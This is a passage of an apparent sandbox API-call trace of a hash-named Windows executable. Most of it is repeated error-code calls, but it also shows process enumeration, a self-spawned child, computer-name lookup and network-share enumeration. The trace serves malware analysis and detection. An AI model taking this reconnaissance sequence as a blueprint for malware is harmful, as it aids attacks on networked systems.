SetLastError (dwErrCode=0x57) [0138.601] GetLastError () returned 0x57 [0138.601] SetLastError (dwErrCode=0x57) [0138.601] GetLastError () returned 0x57 [0138.601] SetLastError (dwErrCode=0x57) [0138.601] GetLastError () returned 0x57 [0138.601] SetLastError (dwErrCode=0x57) [0138.601] GetLastError () returned 0x57 [0138.601] SetLastError (dwErrCode=0x57) [0138.601] GetLastError () returned 0x57 [0138.601] SetLastError (dwErrCode=0x57) [0138.601] GetLastError () returned 0x57 [0138.601] SetLastError (dwErrCode=0x57) [0138.601] GetLastError () returned 0x57 [0138.601] SetLastError (dwErrCode=0x57) [0138.601] GetLastError () returned 0x57 [0138.601] SetLastError (dwErrCode=0x57) [0138.601] GetLastError () returned 0x57 [0138.601] SetLastError (dwErrCode=0x57) [0138.602] GetLastError () returned 0x57 [0138.602] SetLastError (dwErrCode=0x57) [0138.602] GetLastError () returned 0x57 [0138.602] SetLastError (dwErrCode=0x57) [0138.602] GetLastError () returned 0x57 [0138.602] SetLastError (dwErrCode=0x57) [0138.602] GetLastError () returned 0x57 [0138.602] SetLastError (dwErrCode=0x57) [0138.602] GetLastError () returned 0x57 [0138.602] SetLastError (dwErrCode=0x57) [0138.602] GetLastError () returned 0x57 [0138.602] SetLastError (dwErrCode=0x57) [0138.602] GetLastError () returned 0x57 [0138.602] SetLastError (dwErrCode=0x57) [0138.602] GetLastError () returned 0x57 [0138.602] SetLastError (dwErrCode=0x57) [0138.602] GetLastError () returned 0x57 [0138.603] SetLastError (dwErrCode=0x57) [0138.603] GetLastError () returned 0x57 [0138.603] SetLastError (dwErrCode=0x57) [0138.603] GetLastError () returned 0x57 [0138.603] SetLastError (dwErrCode=0x57) [0138.603] GetLastError () returned 0x57 [0138.603] SetLastError (dwErrCode=0x57) [0138.603] GetLastError () returned 0x57 [0138.603] SetLastError (dwErrCode=0x57) [0138.603] GetLastError () returned 0x57 [0138.603] SetLastError (dwErrCode=0x57) [0138.604] GetLastError () returned 0x57 [0138.604] SetLastError (dwErrCode=0x57) [0138.604] GetLastError () returned 0x57 [0138.604] SetLastError (dwErrCode=0x57) [0138.604] GetLastError () returned 0x57 [0138.604] SetLastError (dwErrCode=0x57) [0138.604] GetLastError () returned 0x57 [0138.604] SetLastError (dwErrCode=0x57) [0138.604] GetLastError () returned 0x57 [0138.604] SetLastError (dwErrCode=0x57) [0138.604] GetLastError () returned 0x57 [0138.604] SetLastError (dwErrCode=0x57) [0138.604] GetLastError () returned 0x57 [0138.604] SetLastError (dwErrCode=0x57) [0138.604] GetLastError () returned 0x57 [0138.604] SetLastError (dwErrCode=0x57) [0138.604] GetLastError () returned 0x57 [0138.604] SetLastError (dwErrCode=0x57) [0138.604] GetLastError () returned 0x57 [0138.604] SetLastError (dwErrCode=0x57) [0138.605] GetLastError () returned 0x57 [0138.605] SetLastError (dwErrCode=0x57) [0138.605] GetLastError () returned 0x57 [0138.605] SetLastError (dwErrCode=0x57) [0138.605] GetLastError () returned 0x57 [0138.605] SetLastError (dwErrCode=0x57) [0138.605] GetLastError () returned 0x57 [0138.605] SetLastError (dwErrCode=0x57) [0138.605] GetLastError () returned 0x57 [0138.605] SetLastError (dwErrCode=0x57) [0138.605] GetLastError () returned 0x57 [0138.605] SetLastError (dwErrCode=0x57) [0138.605] GetLastError () returned 0x57 [0138.605] SetLastError (dwErrCode=0x57) [0138.605] GetLastError () returned 0x57 [0138.605] SetLastError (dwErrCode=0x57) [0138.605] GetLastError () returned 0x57 [0138.605] SetLastError (dwErrCode=0x57) [0138.605] GetLastError () returned 0x57 [0138.605] SetLastError (dwErrCode=0x57) [0138.605] GetLastError () returned 0x57 [0138.606] SetLastError (dwErrCode=0x57) [0138.606] GetLastError () returned 0x57 [0138.606] SetLastError (dwErrCode=0x57) [0138.606] GetLastError () returned 0x57 [0138.606] SetLastError (dwErrCode=0x57) [0138.606] GetLastError () returned 0x57 [0138.606] SetLastError (dwErrCode=0x57) [0138.606] GetLastError () returned 0x57 [0138.606] SetLastError (dwErrCode=0x57) [0138.606] GetLastError () returned 0x57 [0138.606] SetLastError (dwErrCode=0x57) [0138.606] GetLastError () returned 0x57 [0138.606] SetLastError (dwErrCode=0x57) [0138.606] GetLastError () returned 0x57 [0138.606] SetLastError (dwErrCode=0x57) [0138.606] GetLastError () returned 0x57 [0138.606] SetLastError (dwErrCode=0x57) [0138.606] GetLastError () returned 0x57 [0138.606] SetLastError (dwErrCode=0x57) [0138.606] GetLastError () returned 0x57 [0138.607] SetLastError (dwErrCode=0x57) [0138.607] GetLastError () returned 0x57 [0138.607] SetLastError (dwErrCode=0x57) [0138.607] GetLastError () returned 0x57 [0138.607] SetLastError (dwErrCode=0x57) [0138.607] GetLastError () returned 0x57 [0138.607] SetLastError (dwErrCode=0x57) [0138.607] GetLastError () returned 0x57 [0138.607] SetLastError (dwErrCode=0x57) [0138.607] GetLastError () returned 0x57 [0138.607] SetLastError (dwErrCode=0x57) [0138.607] GetLastError () returned 0x57 [0138.607] SetLastError (dwErrCode=0x57) [0138.607] GetLastError () returned 0x57 [0138.607] SetLastError (dwErrCode=0x57) [0138.607] GetLastError () returned 0x57 [0138.607] SetLastError (dwErrCode=0x57) [0138.607] GetLastError () returned 0x57 [0138.608] SetLastError (dwErrCode=0x57) [0138.608] GetLastError () returned 0x57 [0138.608] SetLastError (dwErrCode=0x57) [0138.608] GetLastError () returned 0x57 [0138.608] SetLastError (dwErrCode=0x57) [0138.608] GetLastError () returned 0x57 [0138.608] SetLastError (dwErrCode=0x57) [0138.608] GetLastError () returned 0x57 [0138.608] SetLastError (dwErrCode=0x57) [0138.608] GetLastError () returned 0x57 [0138.608] SetLastError (dwErrCode=0x57) [0138.608] GetLastError () returned 0x57 [0138.608] SetLastError (dwErrCode=0x57) [0138.608] GetLastError () returned 0x57 [0138.608] SetLastError (dwErrCode=0x57) [0138.608] GetLastError () returned 0x57 [0138.608] SetLastError (dwErrCode=0x57) [0138.608] GetLastError () returned 0x57 [0138.609] SetLastError (dwErrCode=0x57) [0138.609] GetLastError () returned 0x57 [0138.609] SetLastError (dwErrCode=0x57) [0138.609] GetLastError () returned 0x57 [0138.609] SetLastError (dwErrCode=0x57) [0138.609] GetLastError () returned 0x57 [0138.609] SetLastError (dwErrCode=0x57) [0138.609] GetLastError () returned 0x57 [0138.609] SetLastError (dwErrCode=0x57) [0138.609] GetLastError () returned 0x57 [0138.609] SetLastError (dwErrCode=0x57) [0138.609] GetLastError () returned 0x57 [0138.609] SetLastError (dwErrCode=0x57) [0138.609] GetLastError () returned 0x57 [0138.609] SetLastError (dwErrCode=0x57) [0138.609] GetLastError () returned 0x57 [0138.609] SetLastError (dwErrCode=0x57) [0138.609] GetLastError () returned 0x57 [0138.609] SetLastError (dwErrCode=0x57) [0138.609] GetLastError () returned 0x57 [0138.610] SetLastError (dwErrCode=0x57) [0138.610] GetLastError () returned 0x57 [0138.610] SetLastError (dwErrCode=0x57) [0138.610] GetLastError () returned 0x57 [0138.610] SetLastError (dwErrCode=0x57) [0138.610] GetLastError () returned 0x57 [0138.610] SetLastError (dwErrCode=0x57) [0138.610] GetLastError () returned 0x57 [0138.610] SetLastError (dwErrCode=0x57) [0138.610] GetLastError () returned 0x57 [0138.610] SetLastError (dwErrCode=0x57) [0138.610] GetLastError () returned 0x57 [0138.610] SetLastError (dwErrCode=0x57) [0138.610] GetLastError () returned 0x57 [0138.610] SetLastError (dwErrCode=0x57) [0138.610] GetLastError () returned 0x57 [0138.610] SetLastError (dwErrCode=0x57) [0138.610] GetLastError () returned 0x57 [0138.611] SetLastError (dwErrCode=0x57) [0138.611] GetLastError () returned 0x57 [0138.611] SetLastError (dwErrCode=0x57) [0138.611] GetLastError () returned 0x57 [0138.611] SetLastError (dwErrCode=0x57) [0138.611] GetLastError () returned 0x57 [0138.611] SetLastError (dwErrCode=0x57) [0138.611] GetLastError () returned 0x57 [0138.611] SetLastError (dwErrCode=0x57) [0138.611] GetLastError () returned 0x57 [0138.611] SetLastError (dwErrCode=0x57) [0138.611] GetLastError () returned 0x57 [0138.611] SetLastError (dwErrCode=0x57) [0138.611] GetLastError () returned 0x57 [0138.611] SetLastError (dwErrCode=0x57) [0138.611] GetLastError () returned 0x57 [0138.611] SetLastError (dwErrCode=0x57) [0138.616] GetLastError () returned 0x57 [0138.616] SetLastError (dwErrCode=0x57) [0138.616] GetLastError () returned 0x57 [0138.616] SetLastError (dwErrCode=0x57) [0138.616] GetLastError () returned 0x57 [0138.616] SetLastError (dwErrCode=0x57) [0138.616] GetLastError () returned 0x57 [0138.616] SetLastError (dwErrCode=0x57) [0138.616] GetLastError () returned 0x57 [0138.616] SetLastError (dwErrCode=0x57) [0138.617] GetLastError () returned 0x57 [0138.617] SetLastError (dwErrCode=0x57) [0138.617] GetLastError () returned 0x57 [0138.617] SetLastError (dwErrCode=0x57) [0138.617] GetLastError () returned 0x57 [0138.617] SetLastError (dwErrCode=0x57) [0138.617] GetLastError () returned 0x57 [0138.617] SetLastError (dwErrCode=0x57) [0138.617] GetLastError () returned 0x57 [0138.617] SetLastError (dwErrCode=0x57) [0138.617] GetLastError () returned 0x57 [0138.617] SetLastError (dwErrCode=0x57) [0138.617] GetLastError () returned 0x57 [0138.617] SetLastError (dwErrCode=0x57) [0138.617] GetLastError () returned 0x57 [0138.617] SetLastError (dwErrCode=0x57) [0138.617] GetLastError () returned 0x57 [0138.618] SetLastError (dwErrCode=0x57) [0138.618] GetLastError () returned 0x57 [0138.618] SetLastError (dwErrCode=0x57) [0138.618] GetLastError () returned 0x57 [0138.618] SetLastError (dwErrCode=0x57) [0138.618] GetLastError () returned 0x57 [0138.618] SetLastError (dwErrCode=0x57) [0138.618] GetLastError () returned 0x57 [0138.618] SetLastError (dwErrCode=0x57) [0138.618] GetLastError () returned 0x57 [0138.618] SetLastError (dwErrCode=0x57) [0138.618] GetLastError () returned 0x57 [0138.618] SetLastError (dwErrCode=0x57) [0138.618] GetLastError () returned 0x57 [0138.618] SetLastError (dwErrCode=0x57) [0138.618] GetLastError () returned 0x57 [0138.618] SetLastError (dwErrCode=0x57) [0138.618] GetLastError () returned 0x57 [0138.618] SetLastError (dwErrCode=0x57) [0138.618] GetLastError () returned 0x57 [0138.619] SetLastError (dwErrCode=0x57) [0138.619] GetLastError () returned 0x57 [0138.619] SetLastError (dwErrCode=0x57) [0138.619] GetLastError () returned 0x57 [0138.619] SetLastError (dwErrCode=0x57) [0138.619] GetLastError () returned 0x57 [0138.619] SetLastError (dwErrCode=0x57) [0138.619] GetLastError () returned 0x57 [0138.619] SetLastError (dwErrCode=0x57) [0138.619] GetLastError () returned 0x57 [0138.619] SetLastError (dwErrCode=0x57) [0138.619] GetLastError () returned 0x57 [0138.619] SetLastError (dwErrCode=0x57) [0138.619] GetLastError () returned 0x57 [0138.619] SetLastError (dwErrCode=0x57) [0138.619] GetLastError () returned 0x57 [0138.620] SetLastError (dwErrCode=0x57) [0138.620] GetLastError () returned 0x57 [0138.620] SetLastError (dwErrCode=0x57) [0138.620] GetLastError () returned 0x57 [0138.620] SetLastError (dwErrCode=0x57) [0138.620] GetLastError () returned 0x57 [0138.620] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x164 [0138.623] Process32FirstW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.624] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0138.625] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0138.743] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x138, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0138.758] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x138, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0138.759] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x15c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0138.759] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x18c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x15c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0138.760] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x164, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0138.761] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x164, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0138.761] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x164, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0138.762] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x238, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.762] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.763] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.764] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.764] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.765] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0138.766] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.767] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.767] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0138.768] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.768] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0138.769] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0138.770] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0138.770] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x18c, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0138.771] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0138.771] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x6d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0138.772] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x6fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0138.773] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x238, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0138.773] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x238, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0138.774] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x238, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0138.774] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x768, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x754, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0138.775] Process32NextW (in: hSnapshot=0x164, lppe=0x26af998 | out: lppe=0x26af998*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x768, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x754, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0 [0138.775] CloseHandle (hObject=0x164) returned 1 [0138.775] Sleep (dwMilliseconds=0x1f4) [0139.409] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5438 | out: hHeap=0x1d0000) returned 1 [0139.409] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d4ff0 | out: hHeap=0x1d0000) returned 1 [0139.409] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5878 | out: hHeap=0x1d0000) returned 1 Thread: id = 123 os_tid = 0x338 [0138.706] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x21a) returned 0x1d5a98 [0138.706] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x28) returned 0x1d17a8 [0138.706] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xcc [0138.706] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xc8 [0138.706] GetComputerNameW (in: lpBuffer=0x1d5aa8, nSize=0x2defd50 | out: lpBuffer="Q9IATRKPRH", nSize=0x2defd50) returned 1 [0138.707] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x28) returned 0x1d1710 [0138.707] GetLastError () returned 0xcb [0138.707] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x214) returned 0x1d5cc0 [0138.707] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0138.708] GetCurrentThreadId () returned 0x338 [0138.708] SetLastError (dwErrCode=0xcb) [0138.708] GetLastError () returned 0xcb [0138.708] SetLastError (dwErrCode=0xcb) [0138.708] GetLastError () returned 0xcb [0138.708] SetLastError (dwErrCode=0xcb) [0138.708] GetLastError () returned 0xcb [0138.708] SetLastError (dwErrCode=0xcb) [0138.708] GetLastError () returned 0xcb [0138.708] SetLastError (dwErrCode=0xcb) [0138.708] GetLastError () returned 0xcb [0138.708] SetLastError (dwErrCode=0xcb) [0138.708] GetLastError () returned 0xcb [0138.708] SetLastError (dwErrCode=0xcb) [0138.708] GetLastError () returned 0xcb [0138.709] SetLastError (dwErrCode=0xcb) [0138.709] GetLastError () returned 0xcb [0138.709] SetLastError (dwErrCode=0xcb) [0138.709] GetLastError () returned 0xcb [0138.709] SetLastError (dwErrCode=0xcb) [0138.709] GetLastError () returned 0xcb [0138.709] SetLastError (dwErrCode=0xcb) [0138.709] GetLastError () returned 0xcb [0138.709] SetLastError (dwErrCode=0xcb) [0138.709] GetLastError () returned 0xcb [0138.709] SetLastError (dwErrCode=0xcb) [0138.709] GetLastError () returned 0xcb [0138.709] SetLastError (dwErrCode=0xcb) [0138.709] GetLastError () returned 0xcb [0138.709] SetLastError (dwErrCode=0xcb) [0138.709] GetLastError () returned 0xcb [0138.709] SetLastError (dwErrCode=0xcb) [0138.709] GetLastError () returned 0xcb [0138.710] SetLastError (dwErrCode=0xcb) [0138.710] GetLastError () returned 0xcb [0138.710] SetLastError (dwErrCode=0xcb) [0138.710] GetLastError () returned 0xcb [0138.710] SetLastError (dwErrCode=0xcb) [0138.710] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x4000) returned 0x2167f40 [0138.710] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x216bf48 [0138.711] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2defd14 | out: lphEnum=0x2defd14*=0x878770) returned 0x0 [0138.924] WNetEnumResourceW (in: hEnum=0x878770, lpcCount=0x2defd0c, lpBuffer=0x2167f40, lpBufferSize=0x2defd18 | out: lpcCount=0x2defd0c, lpBuffer=0x2167f40, lpBufferSize=0x2defd18) returned 0x0 [0138.925] GetLastError () returned 0x2 [0138.925] SetLastError (dwErrCode=0x2) [0138.925] GetLastError () returned 0x2 [0138.925] SetLastError (dwErrCode=0x2) [0138.925] GetLastError () returned 0x2 [0138.925] SetLastError (dwErrCode=0x2) [0138.925] GetLastError () returned 0x2 [0138.925] SetLastError (dwErrCode=0x2) [0138.925] GetLastError () returned 0x2 [0138.925] SetLastError (dwErrCode=0x2) [0138.925] GetLastError () returned 0x2 [0138.925] SetLastError (dwErrCode=0x2) [0138.925] GetLastError () returned 0x2 [0138.925] SetLastError (dwErrCode=0x2) [0138.925] GetLastError () returned 0x2 [0138.925] SetLastError (dwErrCode=0x2) [0138.925] GetLastError () returned 0x2 [0138.926] SetLastError (dwErrCode=0x2) [0138.926] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d1710, Size=0x64) returned 0x1d5ee0 [0138.926] GetLastError () returned 0x2 [0138.926] SetLastError (dwErrCode=0x2) [0138.926] GetLastError () returned 0x2 [0138.926] SetLastError (dwErrCode=0x2) [0138.926] GetLastError () returned 0x2 [0138.926] SetLastError (dwErrCode=0x2) [0138.926] GetLastError () returned 0x2 [0138.926] SetLastError (dwErrCode=0x2) [0138.926] GetLastError () returned 0x2 [0138.926] SetLastError (dwErrCode=0x2) [0138.926] GetLastError () returned 0x2 [0138.926] SetLastError (dwErrCode=0x2) [0138.926] GetLastError () returned 0x2 [0138.926] SetLastError (dwErrCode=0x2) [0138.926] GetLastError () returned 0x2 [0138.926] SetLastError (dwErrCode=0x2) [0138.926] GetLastError () returned 0x2 [0138.926] SetLastError (dwErrCode=0x2) [0138.926] GetLastError () returned 0x2 [0138.927] SetLastError (dwErrCode=0x2) [0138.927] GetLastError () returned 0x2 [0138.927] SetLastError (dwErrCode=0x2) [0138.927] GetLastError () returned 0x2 [0138.927] SetLastError (dwErrCode=0x2) [0138.927] GetLastError () returned 0x2 [0138.927] SetLastError (dwErrCode=0x2) [0138.927] GetLastError () returned 0x2 [0138.927] SetLastError (dwErrCode=0x2) [0138.927] GetLastError () returned 0x2 [0138.927] SetLastError (dwErrCode=0x2) [0138.927] GetLastError () returned 0x2 [0138.927] SetLastError (dwErrCode=0x2) [0138.927] GetLastError () returned 0x2 [0138.928] SetLastError (dwErrCode=0x2) [0138.928] GetLastError () returned 0x2 [0138.928] SetLastError (dwErrCode=0x2) [0138.928] GetLastError () returned 0x2 [0138.928] SetLastError (dwErrCode=0x2) [0138.928] GetLastError () returned 0x2 [0138.928] SetLastError (dwErrCode=0x2) [0138.928] GetLastError () returned 0x2 [0138.928] SetLastError (dwErrCode=0x2) [0138.928] GetLastError () returned 0x2 [0138.928] SetLastError (dwErrCode=0x2) [0138.928] GetLastError () returned 0x2 [0138.928] SetLastError (dwErrCode=0x2) [0138.928] GetLastError () returned 0x2 [0138.928] SetLastError (dwErrCode=0x2) [0138.928] GetLastError () returned 0x2 [0138.928] SetLastError (dwErrCode=0x2) [0138.929] GetLastError () returned 0x2 [0138.929] SetLastError (dwErrCode=0x2) [0138.929] GetLastError () returned 0x2 [0138.929] SetLastError (dwErrCode=0x2) [0138.929] GetLastError () returned 0x2 [0138.929] SetLastError (dwErrCode=0x2) [0138.929] GetLastError () returned 0x2 [0138.929] SetLastError (dwErrCode=0x2) [0138.929] 